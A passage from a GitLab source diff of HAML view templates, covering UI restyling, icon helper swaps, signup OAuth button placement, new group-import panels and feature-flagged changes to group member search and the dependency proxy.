+ the user, and projects in them, will also be removed. Commits
+ to other projects are unaffected.
+ %br
+ %button.delete-user-button.btn.gl-button.btn-danger{ data: { 'gl-modal-action': 'delete-with-contributions',
+ delete_user_url: admin_user_path(@user, hard_delete: true),
+ block_user_url: block_admin_user_path(@user),
+ username: @user.name } }
+ = s_('AdminUsers|Delete user and contributions')
- else
%p
You don't have access to delete this user.
- .card.border-danger
- .card-header.bg-danger.text-white
- = s_('AdminUsers|Delete user and contributions')
- .card-body
- - if can?(current_user, :destroy_user, @user)
- %p
- This option deletes the user and any contributions that
- would usually be moved to the
- = succeed "." do
- = link_to "system ghost user", help_page_path("user/profile/account/delete_account")
- As well as the user's personal projects, groups owned solely by
- the user, and projects in them, will also be removed. Commits
- to other projects are unaffected.
- %br
- %button.delete-user-button.btn.gl-button.btn-danger{ data: { 'gl-modal-action': 'delete-with-contributions',
- delete_user_url: admin_user_path(@user, hard_delete: true),
- block_user_url: block_admin_user_path(@user),
- username: @user.name } }
- = s_('AdminUsers|Delete user and contributions')
- - else
- %p
- You don't have access to delete this user.
-
= render partial: 'admin/users/modals'
diff --git a/app/views/clusters/clusters/gcp/_form.html.haml b/app/views/clusters/clusters/gcp/_form.html.haml
index d1ea7fec49d..573b96caae5 100644
--- a/app/views/clusters/clusters/gcp/_form.html.haml
+++ b/app/views/clusters/clusters/gcp/_form.html.haml
@@ -32,7 +32,7 @@
%button.dropdown-menu-toggle.dropdown-menu-full-width{ type: 'button', disabled: true }
%span.dropdown-toggle-text
= _('Select project')
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%span.form-text.text-muted &nbsp;
.form-group
@@ -43,7 +43,7 @@
%button.dropdown-menu-toggle.dropdown-menu-full-width{ type: 'button', disabled: true }
%span.dropdown-toggle-text
= _('Select project to choose zone')
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%p.form-text.text-muted
= s_('ClusterIntegration|Learn more about %{help_link_start}zones%{help_link_end}.').html_safe % { help_link_start: help_link_start % { url: zones_link_url }, help_link_end: help_link_end }
@@ -59,7 +59,7 @@
%button.dropdown-menu-toggle.dropdown-menu-full-width{ type: 'button', disabled: true }
%span.dropdown-toggle-text
= _('Select project and zone to choose machine type')
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%p.form-text.text-muted
= s_('ClusterIntegration|Learn more about %{help_link_start_machine_type}machine types%{help_link_end} and %{help_link_start_pricing}pricing%{help_link_end}.').html_safe % { help_link_start_machine_type: help_link_start % { url: machine_type_link_url }, help_link_start_pricing: help_link_start % { url: pricing_link_url }, help_link_end: help_link_end }
diff --git a/app/views/clusters/clusters/show.html.haml b/app/views/clusters/clusters/show.html.haml
index 6ac852af2db..cb464eeafbb 100644
--- a/app/views/clusters/clusters/show.html.haml
+++ b/app/views/clusters/clusters/show.html.haml
@@ -27,6 +27,7 @@
provider_type: @cluster.provider_type,
pre_installed_knative: @cluster.knative_pre_installed? ? 'true': 'false',
help_path: help_page_path('user/project/clusters/index.md', anchor: 'installing-applications'),
+ helm_help_path: help_page_path('user/clusters/applications.md', anchor: 'helm'),
ingress_help_path: help_page_path('user/project/clusters/index.md', anchor: 'getting-the-external-endpoint'),
ingress_dns_help_path: help_page_path('user/clusters/applications.md', anchor: 'pointing-your-dns-at-the-external-endpoint'),
ingress_mod_security_help_path: help_page_path('user/clusters/applications.md', anchor: 'web-application-firewall-modsecurity'),
diff --git a/app/views/dashboard/todos/index.html.haml b/app/views/dashboard/todos/index.html.haml
index 9a9fbfc1ee8..c34e457dbd9 100644
--- a/app/views/dashboard/todos/index.html.haml
+++ b/app/views/dashboard/todos/index.html.haml
@@ -71,7 +71,7 @@
= sort_options_hash[@sort]
- else
= sort_title_recently_created
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-sort.dropdown-menu-right
%li
= link_to todos_filter_path(sort: sort_value_label_priority) do
@@ -85,9 +85,8 @@
- if @todos.any?
.js-todos-list-container{ data: { qa_selector: "todos_list_container" } }
.js-todos-options{ data: { per_page: @todos.limit_value, current_page: @todos.current_page, total_pages: @todos.total_pages } }
- .card.card-without-border.card-without-margin
- %ul.content-list.todos-list
- = render @todos
+ %ul.content-list.todos-list
+ = render @todos
= paginate @todos, theme: "gitlab"
.js-nothing-here-container.todos-all-done.hidden.svg-content
= image_tag 'illustrations/todos_all_done.svg'
diff --git a/app/views/devise/confirmations/almost_there.haml b/app/views/devise/confirmations/almost_there.haml
index a1fcbea5bf2..bf321bb690b 100644
--- a/app/views/devise/confirmations/almost_there.haml
+++ b/app/views/devise/confirmations/almost_there.haml
@@ -1,7 +1,7 @@
-.well-confirmation.text-center.append-bottom-20
+.well-confirmation.text-center.gl-mb-6
%h1.gl-mt-0
Almost there...
- %p.lead.append-bottom-20
+ %p.lead.gl-mb-6
Please check your email to confirm your account
%hr
- if Gitlab::CurrentSettings.after_sign_up_text.present?
@@ -9,6 +9,6 @@
= markdown_field(Gitlab::CurrentSettings, :after_sign_up_text)
%p.text-center
No confirmation email received? Please check your spam folder or
-.append-bottom-20.prepend-top-20.text-center
+.gl-mb-6.prepend-top-20.text-center
%a.btn.btn-lg.btn-success{ href: new_user_confirmation_path }
Request new confirmation email
diff --git a/app/views/devise/shared/_signup_box.html.haml b/app/views/devise/shared/_signup_box.html.haml
index 0dc98001881..3c4cbbbc3bd 100644
--- a/app/views/devise/shared/_signup_box.html.haml
+++ b/app/views/devise/shared/_signup_box.html.haml
@@ -1,7 +1,12 @@
- max_first_name_length = max_last_name_length = 127
- max_username_length = 255
- min_username_length = 2
+- omniauth_providers_placement ||= :bottom
+
.gl-mb-3.gl-p-4.gl-border-gray-100.gl-border-1.gl-border-solid.gl-rounded-base
+ - if show_omniauth_providers && omniauth_providers_placement == :top
+ = render 'devise/shared/signup_omniauth_providers_top'
+
= form_for(resource, as: "new_#{resource_name}", url: url, html: { class: 'new_user gl-show-field-errors', 'aria-live' => 'assertive' }) do |f|
.devise-errors
= render 'devise/shared/error_messages', resource: resource
@@ -23,7 +28,7 @@
.form-group
= f.label :email, class: 'label-bold'
= f.email_field :email, value: @invite_email, class: 'form-control middle', data: { qa_selector: 'new_user_email_field' }, required: true, title: _('Please provide a valid email address.')
- .form-group.append-bottom-20#password-strength
+ .form-group.gl-mb-5#password-strength
= f.label :password, class: 'label-bold'
= f.password_field :password, class: 'form-control bottom', data: { qa_selector: 'new_user_password_field' }, required: true, pattern: ".{#{@minimum_password_length},}", title: s_('SignUp|Minimum length is %{minimum_password_length} characters.') % { minimum_password_length: @minimum_password_length }
%p.gl-field-hint.text-secondary= s_('SignUp|Minimum length is %{minimum_password_length} characters.') % { minimum_password_length: @minimum_password_length }
@@ -33,5 +38,5 @@
.submit-container
= f.submit button_text, class: 'btn gl-button btn-success', data: { qa_selector: 'new_user_register_button' }
= render 'devise/shared/terms_of_service_notice'
- - if show_omniauth_providers
+ - if show_omniauth_providers && omniauth_providers_placement == :bottom
= render 'devise/shared/signup_omniauth_providers'
diff --git a/app/views/devise/shared/_signup_omniauth_provider_list.haml b/app/views/devise/shared/_signup_omniauth_provider_list.haml
new file mode 100644
index 00000000000..ece886b3cdd
--- /dev/null
+++ b/app/views/devise/shared/_signup_omniauth_provider_list.haml
@@ -0,0 +1,9 @@
+%label.label-bold.d-block
+ = _("Create an account using:")
+.d-flex.justify-content-between.flex-wrap
+ - providers.each do |provider|
+ = link_to omniauth_authorize_path(:user, provider), method: :post, class: "btn gl-button gl-display-flex gl-align-items-center gl-text-left gl-mb-2 gl-p-2 omniauth-btn oauth-login #{qa_class_for_provider(provider)}", id: "oauth-login-#{provider}" do
+ - if provider_has_icon?(provider)
+ = provider_image_tag(provider)
+ %span.ml-2
+ = label_for_provider(provider)
diff --git a/app/views/devise/shared/_signup_omniauth_providers.haml b/app/views/devise/shared/_signup_omniauth_providers.haml
index 68098f1865b..a653d44d694 100644
--- a/app/views/devise/shared/_signup_omniauth_providers.haml
+++ b/app/views/devise/shared/_signup_omniauth_providers.haml
@@ -1,13 +1,3 @@
.omniauth-divider.d-flex.align-items-center.text-center
= _("or")
-%label.label-bold.d-block
- = _("Create an account using:")
-- providers = enabled_button_based_providers
-.d-flex.justify-content-between.flex-wrap
- - providers.each do |provider|
- - has_icon = provider_has_icon?(provider)
- = link_to omniauth_authorize_path(:user, provider), method: :post, class: "gl-button btn d-flex align-items-center omniauth-btn text-left oauth-login mb-2 p-2 #{qa_class_for_provider(provider)}", id: "oauth-login-#{provider}" do
- - if has_icon
- = provider_image_tag(provider)
- %span.ml-2
- = label_for_provider(provider)
+= render 'devise/shared/signup_omniauth_provider_list', providers: enabled_button_based_providers
diff --git a/app/views/devise/shared/_signup_omniauth_providers_top.haml b/app/views/devise/shared/_signup_omniauth_providers_top.haml
new file mode 100644
index 00000000000..1deacad88c4
--- /dev/null
+++ b/app/views/devise/shared/_signup_omniauth_providers_top.haml
@@ -0,0 +1,3 @@
+= render 'devise/shared/signup_omniauth_provider_list', providers: experiment_enabled_button_based_providers
+.omniauth-divider.d-flex.align-items-center.text-center
+ = _("or")
diff --git a/app/views/devise/unlocks/new.html.haml b/app/views/devise/unlocks/new.html.haml
index 96f4f07176e..d145ac3f359 100644
--- a/app/views/devise/unlocks/new.html.haml
+++ b/app/views/devise/unlocks/new.html.haml
@@ -4,7 +4,7 @@
= form_for(resource, as: resource_name, url: unlock_path(resource_name), html: { method: :post, class: 'gl-show-field-errors' }) do |f|
.devise-errors
= render "devise/shared/error_messages", resource: resource
- .form-group.append-bottom-20
+ .form-group.gl-mb-6
= f.label :email
= f.email_field :email, class: 'form-control', autofocus: 'autofocus', autocapitalize: 'off', autocorrect: 'off', title: 'Please provide a valid email address.'
.clearfix
diff --git a/app/views/doorkeeper/authorizations/new.html.haml b/app/views/doorkeeper/authorizations/new.html.haml
index bf17eb4fe3e..b5bfbc7bd1c 100644
--- a/app/views/doorkeeper/authorizations/new.html.haml
+++ b/app/views/doorkeeper/authorizations/new.html.haml
@@ -10,7 +10,7 @@
- if current_user.admin?
.text-warning
%p
- = icon("exclamation-triangle fw")
+ = sprite_icon('warning-solid')
= html_escape(_('You are an admin, which means granting access to %{client_name} will allow them to interact with GitLab as an admin as well. Proceed with caution.')) % { client_name: tag.strong(@pre_auth.client.name) }
%p
- link_to_client = link_to(@pre_auth.client.name, @pre_auth.redirect_uri, target: '_blank', rel: 'noopener noreferrer')
diff --git a/app/views/explore/projects/_filter.html.haml b/app/views/explore/projects/_filter.html.haml
index 6fc156cf4ed..2ead8fc2cfd 100644
--- a/app/views/explore/projects/_filter.html.haml
+++ b/app/views/explore/projects/_filter.html.haml
@@ -10,7 +10,7 @@
= visibility_level_label(params[:visibility_level].to_i)
- else
= _('Any')
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right
%li
= link_to filter_projects_path(visibility_level: nil) do
diff --git a/app/views/groups/_create_chat_team.html.haml b/app/views/groups/_create_chat_team.html.haml
index 07394eec107..f141b646e69 100644
--- a/app/views/groups/_create_chat_team.html.haml
+++ b/app/views/groups/_create_chat_team.html.haml
@@ -1,10 +1,10 @@
.form-group
.col-sm-2.col-form-label
= f.label :create_chat_team do
- %span.mattermost-icon
+ %span.gl-display-flex
= custom_icon('icon_mattermost')
- Mattermost
- .col-sm-10
+ %span.gl-ml-2 Mattermost
+ .col-sm-12
.form-check.js-toggle-container
.js-toggle-button.form-check-input= f.check_box(:create_chat_team, { checked: false }, true, false)
= f.label :create_chat_team, class: 'form-check-label' do
diff --git a/app/views/groups/_home_panel.html.haml b/app/views/groups/_home_panel.html.haml
index ee08829d990..67f278a06f3 100644
--- a/app/views/groups/_home_panel.html.haml
+++ b/app/views/groups/_home_panel.html.haml
@@ -6,10 +6,10 @@
.row.mb-3
.home-panel-title-row.col-md-12.col-lg-6.d-flex
.avatar-container.rect-avatar.s64.home-panel-avatar.gl-mr-3.float-none
- = group_icon(@group, class: 'avatar avatar-tile s64', width: 64, height: 64)
+ = group_icon(@group, class: 'avatar avatar-tile s64', width: 64, height: 64, itemprop: 'logo')
.d-flex.flex-column.flex-wrap.align-items-baseline
.d-inline-flex.align-items-baseline
- %h1.home-panel-title.gl-mt-3.gl-mb-2
+ %h1.home-panel-title.gl-mt-3.gl-mb-2{ itemprop: 'name' }
= @group.name
%span.visibility-icon.text-secondary.gl-ml-2.has-tooltip{ data: { container: 'body' }, title: visibility_icon_description(@group) }
= visibility_level_icon(@group.visibility_level, options: {class: 'icon'})
@@ -34,7 +34,7 @@
- if @group.description.present?
.group-home-desc.mt-1
.home-panel-description
- .home-panel-description-markdown.read-more-container
+ .home-panel-description-markdown.read-more-container{ itemprop: 'description' }
= markdown_field(@group, :description)
%button.btn.btn-blank.btn-link.js-read-more-trigger.d-lg-none{ type: "button" }
= _("Read more")
diff --git a/app/views/groups/_import_group_from_another_instance_panel.html.haml b/app/views/groups/_import_group_from_another_instance_panel.html.haml
new file mode 100644
index 00000000000..c95e7c16161
--- /dev/null
+++ b/app/views/groups/_import_group_from_another_instance_panel.html.haml
@@ -0,0 +1,25 @@
+= form_with url: configure_import_bulk_imports_path, class: 'group-form gl-show-field-errors' do |f|
+ = form_errors(@group)
+
+ .gl-border-l-solid.gl-border-r-solid.gl-border-gray-100.gl-border-1.gl-p-5
+ %h4
+ = s_('GroupsNew|Import groups from another instance of GitLab')
+ %p
+ = s_('GroupsNew|Provide credentials for another instance of GitLab to import your groups directly.')
+ .form-group.gl-display-flex.gl-flex-direction-column
+ = f.label :bulk_import_gitlab_url, s_('GroupsNew|GitLab source URL'), for: 'import_gitlab_url'
+ = f.text_field :bulk_import_gitlab_url, placeholder: 'https://gitlab.example.com', class: 'gl-form-input col-xs-12 col-sm-8',
+ required: true,
+ title: s_('GroupsNew|Please fill in GitLab source URL.'),
+ id: 'import_gitlab_url'
+ .form-group.gl-display-flex.gl-flex-direction-column
+ = f.label :bulk_import_gitlab_access_token, s_('GroupsNew|Personal access token'), for: 'import_gitlab_token'
+ .gl-font-weight-normal
+ - pat_link_start = '<a href="%{url}" target="_blank">'.html_safe % { url: help_page_path('user/profile/personal_access_tokens') }
+ = s_('GroupsNew|Navigate to user settings to find your %{link_start}personal access token%{link_end}.').html_safe % { link_start: pat_link_start, link_end: '</a>'.html_safe }
+ = f.text_field :bulk_import_gitlab_access_token, placeholder: s_('GroupsNew|e.g. h8d3f016698e...'), class: 'gl-form-input gl-mt-3 col-xs-12 col-sm-8',
+ required: true,
+ title: s_('GroupsNew|Please fill in your personal access token.'),
+ id: 'import_gitlab_token'
+ .gl-border-gray-100.gl-border-solid.gl-border-1.gl-bg-gray-10.gl-p-5
+ = f.submit s_('GroupsNew|Connect instance'), class: 'btn gl-button btn-success'
diff --git a/app/views/groups/_import_group_from_file_panel.html.haml b/app/views/groups/_import_group_from_file_panel.html.haml
new file mode 100644
index 00000000000..171f3e0371a
--- /dev/null
+++ b/app/views/groups/_import_group_from_file_panel.html.haml
@@ -0,0 +1,50 @@
+- parent = @group.parent
+- group_path = root_url
+- group_path << parent.full_path + '/' if parent
+
+= form_with url: import_gitlab_group_path, class: 'group-form gl-show-field-errors', multipart: true do |f|
+ = form_errors(@group)
+
+ .gl-border-l-solid.gl-border-r-solid.gl-border-gray-100.gl-border-1.gl-p-5
+ %h4
+ = _('Import group from file')
+ %p
+ = s_('GroupsNew|Provide credentials for another instance of GitLab to import your groups directly.')
+ .form-group.gl-display-flex.gl-flex-direction-column
+ = f.label :name, _('New group name'), for: 'import_group_name'
+ = f.text_field :name, placeholder: s_('GroupsNew|My Awesome Group'), class: 'js-autofill-group-name gl-form-input col-xs-12 col-sm-8',
+ required: true,
+ title: _('Please fill in a descriptive name for your group.'),
+ autofocus: true,
+ id: 'import_group_name'
+
+ .form-group.gl-display-flex.gl-flex-direction-column
+ = f.label :import_group_path, _('New group URL'), for: 'import_group_path'
+ .input-group.gl-field-error-anchor.col-xs-12.col-sm-8.gl-p-0
+ .group-root-path.input-group-prepend.has-tooltip{ title: group_path, :'data-placement' => 'bottom' }
+ .input-group-text
+ %span
+ = root_url
+ - if parent
+ %strong= parent.full_path + '/'
+ = f.hidden_field :parent_id, value: parent&.id
+ = f.text_field :path, placeholder: 'my-awesome-group', class: 'form-control js-validate-group-path js-autofill-group-path',
+ id: 'import_group_path',
+ required: true,
+ pattern: Gitlab::PathRegex::NAMESPACE_FORMAT_REGEX_JS,
+ title: _('Please choose a group URL with no special characters.'),
+ "data-bind-in" => "#{'create_chat_team' if Gitlab.config.mattermost.enabled}"
+ %p.validation-error.gl-field-error.field-validation.hide
+ = _('Group path is already taken. Suggestions: ')
+ %span.gl-path-suggestions
+ %p.validation-success.gl-field-success.field-validation.hide= _('Group path is available.')
+ %p.validation-pending.gl-field-error-ignore.field-validation.hide= _('Checking group path availability...')
+ .form-group
+ = f.label :file, s_('GroupsNew|Upload file')
+ .gl-font-weight-normal
+ - import_export_link_start = '<a href="%{url}" target="_blank">'.html_safe % { url: help_page_path('user/group/settings/import_export') }
+ = s_('GroupsNew|To import a group, navigate to the group settings for the GitLab source instance, %{link_start}generate an export file%{link_end}, and upload it here.').html_safe % { link_start: import_export_link_start, link_end: '</a>'.html_safe }
+ .gl-mt-3
+ = render 'shared/file_picker_button', f: f, field: :file, help_text: nil, classes: 'gl-button btn-success-secondary gl-mr-2'
+ .gl-border-gray-100.gl-border-solid.gl-border-1.gl-bg-gray-10.gl-p-5
+ = f.submit _('Import'), class: 'btn gl-button btn-success'
diff --git a/app/views/groups/_import_group_pane.html.haml b/app/views/groups/_import_group_pane.html.haml
deleted file mode 100644
index 9ad8ebbb37d..00000000000
--- a/app/views/groups/_import_group_pane.html.haml
+++ /dev/null
@@ -1,52 +0,0 @@
-- parent = @group.parent
-- group_path = root_url
-- group_path << parent.full_path + '/' if parent
-
-= form_with url: import_gitlab_group_path, class: 'group-form gl-show-field-errors', multipart: true do |f|
- = form_errors(@group)
-
- .row
- .form-group.group-name.col-sm-12
- = f.label :name, _('Group name'), class: 'label-bold'
- = f.text_field :name, placeholder: s_('GroupsNew|My Awesome Group'), class: 'js-autofill-group-name form-control input-lg',
- required: true,
- title: _('Please fill in a descriptive name for your group.'),
- autofocus: true
-
- .row
- .form-group.col-xs-12.col-sm-8
- = f.label :path, _('Group URL'), class: 'label-bold'
- .input-group.gl-field-error-anchor
- .group-root-path.input-group-prepend.has-tooltip{ title: group_path, :'data-placement' => 'bottom' }
- .input-group-text
- %span
- = root_url
- - if parent
- %strong= parent.full_path + '/'
- = f.hidden_field :parent_id, value: parent&.id
- = f.text_field :path, placeholder: 'my-awesome-group', class: 'form-control js-validate-group-path js-autofill-group-path',
- id: 'import_group_path',
- required: true,
- pattern: Gitlab::PathRegex::NAMESPACE_FORMAT_REGEX_JS,
- title: _('Please choose a group URL with no special characters.'),
- "data-bind-in" => "#{'create_chat_team' if Gitlab.config.mattermost.enabled}"
- %p.validation-error.gl-field-error.field-validation.hide
- = _('Group path is already taken. Suggestions: ')
- %span.gl-path-suggestions
- %p.validation-success.gl-field-success.field-validation.hide= _('Group path is available.')
- %p.validation-pending.gl-field-error-ignore.field-validation.hide= _('Checking group path availability...')
-
- .row
- .form-group.col-md-12
- = s_('GroupsNew|To copy a GitLab group between installations, navigate to the group settings page for the original installation, generate an export file, and upload it here.')
- .row
- .form-group.col-sm-12
- = f.label :file, s_('GroupsNew|Import a GitLab group export file'), class: 'label-bold'
- %div
- = render 'shared/file_picker_button', f: f, field: :file, help_text: nil
-
- .row
- .form-actions.col-sm-12
- = f.submit s_('GroupsNew|Import group'), class: 'btn btn-success'
- = link_to _('Cancel'), new_group_path, class: 'btn btn-cancel'
-
diff --git a/app/views/groups/_new_group_fields.html.haml b/app/views/groups/_new_group_fields.html.haml
index d9706556e79..3872bbcd062 100644
--- a/app/views/groups/_new_group_fields.html.haml
+++ b/app/views/groups/_new_group_fields.html.haml
@@ -2,12 +2,7 @@
= render 'shared/group_form', f: f, autofocus: true
.row
- .form-group.group-description-holder.col-sm-12
- = f.label :avatar, _("Group avatar"), class: 'label-bold'
- %div
- = render 'shared/choose_avatar_button', f: f
-
- .form-group.col-sm-12
+ .form-group.col-sm-12.gl-mb-0
%label.label-bold
= _('Visibility level')
%p
@@ -15,8 +10,13 @@
= link_to _('View the documentation'), help_page_path("public_access/public_access"), target: '_blank'
= render 'shared/visibility_level', f: f, visibility_level: default_group_visibility, can_change_visibility_level: true, form_model: @group, with_label: false
- = render 'create_chat_team', f: f if Gitlab.config.mattermost.enabled
-
+- if Gitlab.config.mattermost.enabled
+ .row
+ = render 'create_chat_team', f: f
+.row
+ .col-sm-4
+ = render_if_exists 'shared/groups/invite_members'
+.row
.form-actions.col-sm-12
= f.submit _('Create group'), class: "btn btn-success"
= link_to _('Cancel'), dashboard_groups_path, class: 'btn btn-cancel'
diff --git a/app/views/groups/_subgroups_and_projects.html.haml b/app/views/groups/_subgroups_and_projects.html.haml
index cb15fe339e1..d9ab828a83b 100644
--- a/app/views/groups/_subgroups_and_projects.html.haml
+++ b/app/views/groups/_subgroups_and_projects.html.haml
@@ -3,6 +3,6 @@
= render "shared/groups/empty_state"
%section{ data: { hide_projects: 'false', group_id: group.id, path: group_path(group) } }
- .js-groups-list-holder
+ .js-groups-list-holder{ data: { show_schema_markup: 'true'} }
.loading-container.text-center.prepend-top-20
.spinner.spinner-md
diff --git a/app/views/groups/dependency_proxies/_url.html.haml b/app/views/groups/dependency_proxies/_url.html.haml
index 9242954b684..25a2442f4d4 100644
--- a/app/views/groups/dependency_proxies/_url.html.haml
+++ b/app/views/groups/dependency_proxies/_url.html.haml
@@ -1,4 +1,4 @@
-- proxy_url = "#{group_url(@group)}/dependency_proxy/containers"
+- proxy_url = "#{group_url(@group)}#{DependencyProxy::URL_SUFFIX}"
%h5.prepend-top-20= _('Dependency proxy URL')
diff --git a/app/views/groups/dependency_proxies/show.html.haml b/app/views/groups/dependency_proxies/show.html.haml
index ff1312eb763..2ecf92e0769 100644
--- a/app/views/groups/dependency_proxies/show.html.haml
+++ b/app/views/groups/dependency_proxies/show.html.haml
@@ -7,7 +7,7 @@
- link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('user/packages/dependency_proxy/index') }
= _('Create a local proxy for storing frequently used upstream images. %{link_start}Learn more%{link_end} about dependency proxies.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
-- if @group.public?
+- if Feature.enabled?(:dependency_proxy_for_private_groups, default_enabled: true) || @group.public?
- if can?(current_user, :admin_dependency_proxy, @group)
= form_for(@dependency_proxy, method: :put, url: group_dependency_proxy_path(@group)) do |f|
.form-group
diff --git a/app/views/groups/edit.html.haml b/app/views/groups/edit.html.haml
index eafee325500..33cd90ce5d3 100644
--- a/app/views/groups/edit.html.haml
+++ b/app/views/groups/edit.html.haml
@@ -8,7 +8,7 @@
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only{ role: 'button' }
= _('Naming, visibility')
- %button.btn.js-settings-toggle{ type: 'button' }
+ %button.btn.gl-button.js-settings-toggle{ type: 'button' }
= _('Collapse')
%p
= _('Update your group name, description, avatar, and visibility.')
@@ -19,7 +19,7 @@
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only{ role: 'button' }
= _('Permissions, LFS, 2FA')
- %button.btn.js-settings-toggle{ type: 'button' }
+ %button.btn.gl-button.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
%p
= _('Advanced permissions, Large File Storage and Two-Factor authentication settings.')
@@ -32,7 +32,7 @@
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only{ role: 'button' }
= s_('GroupSettings|Badges')
- %button.btn.js-settings-toggle{ type: 'button' }
+ %button.btn.gl-button.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
%p
= s_('GroupSettings|Customize your group badges.')
@@ -40,6 +40,7 @@
.settings-content
= render 'shared/badges/badge_settings'
+= render_if_exists 'groups/compliance_frameworks', expanded: expanded
= render_if_exists 'groups/custom_project_templates_setting'
= render_if_exists 'groups/templates_setting', expanded: expanded
@@ -47,7 +48,7 @@
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only{ role: 'button' }
= _('Advanced')
- %button.btn.js-settings-toggle{ type: 'button' }
+ %button.btn.gl-button.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
%p
= _('Perform advanced options such as changing path, transferring, exporting, or removing the group.')
diff --git a/app/views/groups/group_members/index.html.haml b/app/views/groups/group_members/index.html.haml
index 2a87b42ef13..a1527a74898 100644
--- a/app/views/groups/group_members/index.html.haml
+++ b/app/views/groups/group_members/index.html.haml
@@ -4,6 +4,7 @@
- show_access_requests = can_manage_members && @requesters.exists?
- invited_active = params[:search_invited].present? || params[:invited_members_page].present?
- vue_members_list_enabled = Feature.enabled?(:vue_group_members_list, @group, default_enabled: true)
+- filtered_search_enabled = Feature.enabled?(:group_members_filtered_search, @group, default_enabled: true)
- current_user_is_group_owner = @group && @group.has_owner?(current_user)
- form_item_label_css_class = 'label-bold gl-mr-2 gl-mb-0 gl-py-2 align-self-md-center'
@@ -54,20 +55,21 @@
.tab-content
#tab-members.tab-pane{ class: ('active' unless invited_active) }
.card.card-without-border
- = render 'groups/group_members/tab_pane/header' do
- = render 'groups/group_members/tab_pane/title' do
- = html_escape(_('Members with access to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
- = form_tag group_group_members_path(@group), method: :get, class: 'user-search-form gl-display-flex gl-md-align-items-center gl-flex-wrap gl-flex-direction-column gl-md-flex-direction-row gl-mx-n3 gl-my-n3', data: { testid: 'user-search-form' } do
- .gl-px-3.gl-py-2
- .search-control-wrap.gl-relative
- = render 'shared/members/search_field'
- - if can_manage_members
+ - unless filtered_search_enabled
+ = render 'groups/group_members/tab_pane/header' do
+ = render 'groups/group_members/tab_pane/title' do
+ = html_escape(_('Members with access to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
+ = form_tag group_group_members_path(@group), method: :get, class: 'user-search-form gl-display-flex gl-md-align-items-center gl-flex-wrap gl-flex-direction-column gl-md-flex-direction-row gl-mx-n3 gl-my-n3', data: { testid: 'user-search-form' } do
+ .gl-px-3.gl-py-2
+ .search-control-wrap.gl-relative
+ = render 'shared/members/search_field'
+ - if can_manage_members
+ = render 'groups/group_members/tab_pane/form_item' do
+ = label_tag '2fa', _('2FA'), class: form_item_label_css_class
+ = render 'shared/members/filter_2fa_dropdown'
= render 'groups/group_members/tab_pane/form_item' do
- = label_tag '2fa', _('2FA'), class: form_item_label_css_class
- = render 'shared/members/filter_2fa_dropdown'
- = render 'groups/group_members/tab_pane/form_item' do
- = label_tag :sort_by, _('Sort by'), class: form_item_label_css_class
- = render 'shared/members/sort_dropdown'
+ = label_tag :sort_by, _('Sort by'), class: form_item_label_css_class
+ = render 'shared/members/sort_dropdown'
- if vue_members_list_enabled
.js-group-members-list{ data: group_members_list_data_attributes(@group, @members) }
.loading
@@ -83,9 +85,10 @@
- if @group.shared_with_group_links.any?
#tab-groups.tab-pane
.card.card-without-border
- = render 'groups/group_members/tab_pane/header' do
- = render 'groups/group_members/tab_pane/title' do
- = html_escape(_('Groups with access to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
+ - unless filtered_search_enabled
+ = render 'groups/group_members/tab_pane/header' do
+ = render 'groups/group_members/tab_pane/title' do
+ = html_escape(_('Groups with access to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
- if vue_members_list_enabled
.js-group-linked-list{ data: linked_groups_list_data_attributes(@group) }
.loading
@@ -97,11 +100,12 @@
- if show_invited_members
#tab-invited-members.tab-pane{ class: ('active' if invited_active) }
.card.card-without-border
- = render 'groups/group_members/tab_pane/header' do
- = render 'groups/group_members/tab_pane/title' do
- = html_escape(_('Members invited to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
- = form_tag group_group_members_path(@group), method: :get, class: 'user-search-form', data: { testid: 'user-search-form' } do
- = render 'shared/members/search_field', name: 'search_invited'
+ - unless filtered_search_enabled
+ = render 'groups/group_members/tab_pane/header' do
+ = render 'groups/group_members/tab_pane/title' do
+ = html_escape(_('Members invited to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
+ = form_tag group_group_members_path(@group), method: :get, class: 'user-search-form', data: { testid: 'user-search-form' } do
+ = render 'shared/members/search_field', name: 'search_invited'
- if vue_members_list_enabled
.js-group-invited-members-list{ data: group_members_list_data_attributes(@group, @invited_members) }
.loading
@@ -117,9 +121,10 @@
- if show_access_requests
#tab-access-requests.tab-pane
.card.card-without-border
- = render 'groups/group_members/tab_pane/header' do
- = render 'groups/group_members/tab_pane/title' do
- = html_escape(_('Users requesting access to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
+ - unless filtered_search_enabled
+ = render 'groups/group_members/tab_pane/header' do
+ = render 'groups/group_members/tab_pane/title' do
